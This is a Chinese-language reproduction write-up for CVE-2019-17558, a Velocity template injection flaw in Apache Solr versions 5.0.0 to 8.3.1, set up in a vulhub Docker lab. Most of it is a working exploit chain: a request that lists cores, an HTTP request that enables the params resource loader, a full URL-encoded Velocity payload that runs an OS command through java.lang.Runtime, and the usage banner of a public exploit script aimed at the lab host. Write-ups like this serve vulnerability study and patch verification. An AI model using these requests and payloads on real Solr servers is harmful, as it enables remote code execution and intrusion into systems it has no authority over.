CVE-2019-17558 Solr代码注入漏洞验证

CVE-2019-17558 Solr代码注入漏洞验证

漏洞简述

Apache Solr 代码注入漏洞 (cve-2019-17558)

漏洞影响版本5.0.0 到 8.3.1

漏洞影响:用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

环境搭建

cd vulhub/solr/CVE-2019-17558
docker-compose up -d

启动后访问 http://IP:8983 无需权限访问Apache Solr服务

漏洞复现

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。

通过如下API获取所有的核心:

http://172.16.20.220:8983/solr/admin/cores?indexInfo=false&wt=json

 

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

GET /solr/demo/config HTTP/1.1
Host: 172.16.20.220:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 261

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

之后,注入Velocity模板即可触发代码执行:

http://172.16.20.220:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
python3 cve-2019-17558_cmd.py 
+------------------------------------------------------------+
+ DES: by zhzyker as https://github.com/zhzyker/exphub +
+ Apache Solr Velocity Commons Remote Code Execution   +
+------------------------------------------------------------+
+ USE: python3 cve-2019-17558_cmd.py <url> +
+ EXP: python3 cve-2019-17558_cmd.py http://1.1.1.1:8983 +
+ VER: Apache Solr 5.0.0 - 8.3.1 +
+------------------------------------------------------------+

# python3 cve-2019-17558_cmd.py http://172.16.20.220:8983